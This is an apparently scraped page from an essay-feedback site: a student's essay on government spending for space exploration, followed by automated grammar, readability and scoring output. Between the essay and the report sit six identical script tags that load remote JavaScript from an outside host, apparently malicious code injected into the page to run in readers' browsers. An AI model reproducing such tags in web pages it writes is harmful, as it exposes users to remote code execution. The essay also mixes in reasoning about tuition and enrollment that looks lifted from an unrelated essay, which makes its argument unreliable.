Some people believe that spending money on developing technology on space exploration is unjustifiable and there are more beneficial ways to spend this money. To what extent do you agree or disagree?
In this contemporary life, there are many technologies that also help people to explore spaces and the government spends a lot of money on that. However, some people believe that there are many benefits to spending this money. From my point of view, I balance this argument. Explore space is really important especially with development technological but government need to spend balance for this money. This essay will support this statement and give my opinion.
Admittedly, there are some arguments in favor of spending money on space. First, government subsidies for space are believed to equalize exploration opportunities among young scientists regardless of their background. This financial support, presumably, tends not only to increase the overall enrollment rate of lower-income people but also to mitigate their feeling of inferiority, which promotes an egalitarian society. For example, spending money on exploration could help problems in the future including fuel, home or electricity. Second, spending money on space would result in a higher supply of highly qualified workers, which benefits society in the long run. In fact, it is acknowledged that knowledgeable and skilled human capital is imperative to foster economic growth and technological development in any nation.
Nevertheless, the resultant problem would be far more significant than the minor benefits once the government spends too much money on space. First, support money for space would likely correspond with a tremendous financial strain on a country. Generating no income from product and tuition, companies could become over-reliant on the state budget for funding, meaning that there would be less input to develop other important areas such as healthcare systems and transport infrastructure. Second, spending too much money on space would tempt many problems including some people who are not academically inclined or show no interest in space and science. Moreover, spending too much money on space also has some problems such as not enough money for sport or some competition, thereby adding great burden for staff and government, and potentially wasting time that these young people could spend on suitable career paths. It,instead, would be a more suitable financially viable option if the resources were focused on supporting less privileged yet gifted people and having more knowledge.
In conclusion, despite the long-term need to explore space , these arguments have many drawbacks rather than advantages. From my perspective, the government should think clearly before spending money on anything and develop a better society.
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2025-05-31 | Trần Ánh Vy | 73 | view |
- Rich countries often give money to poorer countries but it does not solve poverty Therefore developed countries should give other types of help to the poor countries rather than financial aid To what extent do you agree or disagree 74
- The qualities of admirable people 56
- Some believe secondary students should learn International news as a subject at school while some think it s a waste of time Discuss both views and give your opinion 73
- The advantages brought the spread of English as a global language will outweigh the disadvantages Tow what extent do you agree or disagree with this view 89
- The map shows the changes to a residence hall between 2010 and the present Summarize the information by selecting and reporting the main features and make comparisons where relevant 73
Grammar and spelling errors:
Line 1, column 251, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...ding this money. From my point of view, I balance this argument. Explore space is...
^
Line 3, column 926, Rule ID: COMMA_PARENTHESIS_WHITESPACE
Message: Put a space after the comma
Suggestion: ,
...could spend on suitable career paths. It,instead, would be a more suitable financ...
^
Line 4, column 59, Rule ID: COMMA_PARENTHESIS_WHITESPACE
Message: Put a space after the comma, but not before the comma
Suggestion: ,
...pite the long-term need to explore space , these arguments have many drawbacks rat...
^^
Transition Words or Phrases used:
also, but, first, however, if, moreover, nevertheless, really, second, so, for example, in conclusion, in fact, such as
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 12.0 13.1623246493 91% => OK
Auxiliary verbs: 13.0 7.85571142285 165% => OK
Conjunction : 17.0 10.4138276553 163% => OK
Relative clauses : 9.0 7.30460921844 123% => OK
Pronoun: 22.0 24.0651302605 91% => OK
Preposition: 46.0 41.998997996 110% => OK
Nominalization: 18.0 8.3376753507 216% => Less nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 2231.0 1615.20841683 138% => OK
No of words: 400.0 315.596192385 127% => OK
Chars per words: 5.5775 5.12529762239 109% => OK
Fourth root words length: 4.472135955 4.20363070211 106% => OK
Word Length SD: 2.91418676469 2.80592935109 104% => OK
Unique words: 218.0 176.041082164 124% => OK
Unique words percentage: 0.545 0.561755894193 97% => OK
syllable_count: 693.9 506.74238477 137% => OK
avg_syllables_per_word: 1.7 1.60771543086 106% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 5.0 5.43587174349 92% => OK
Article: 2.0 2.52805611222 79% => OK
Subordination: 0.0 2.10420841683 0% => More adverbial clause wanted.
Conjunction: 1.0 0.809619238477 124% => OK
Preposition: 6.0 4.76152304609 126% => OK
Performance on sentences:
How many sentences: 19.0 16.0721442886 118% => OK
Sentence length: 21.0 20.2975951904 103% => OK
Sentence length SD: 55.4445144521 49.4020404114 112% => OK
Chars per sentence: 117.421052632 106.682146367 110% => OK
Words per sentence: 21.0526315789 20.7667163134 101% => OK
Discourse Markers: 6.26315789474 7.06120827912 89% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 3.0 5.01903807615 60% => OK
Sentences with positive sentiment : 13.0 8.67935871743 150% => OK
Sentences with negative sentiment : 5.0 3.9879759519 125% => OK
Sentences with neutral sentiment: 1.0 3.4128256513 29% => More facts, knowledge or examples wanted.
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.404233796624 0.244688304435 165% => OK
Sentence topic coherence: 0.149579371359 0.084324248473 177% => OK
Sentence topic coherence SD: 0.103952566722 0.0667982634062 156% => OK
Paragraph topic coherence: 0.268486484162 0.151304729494 177% => OK
Paragraph topic coherence SD: 0.0862190479285 0.056905535591 152% => OK
Essay readability:
automated_readability_index: 15.4 13.0946893788 118% => OK
flesch_reading_ease: 41.7 50.2224549098 83% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 12.7 11.3001002004 112% => OK
coleman_liau_index: 15.08 12.4159519038 121% => OK
dale_chall_readability_score: 9.22 8.58950901804 107% => OK
difficult_words: 115.0 78.4519038076 147% => OK
linsear_write_formula: 7.0 9.78957915832 72% => OK
gunning_fog: 10.4 10.1190380762 103% => OK
text_standard: 9.0 10.7795591182 83% => OK
What are above readability scores?
---------------------
Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.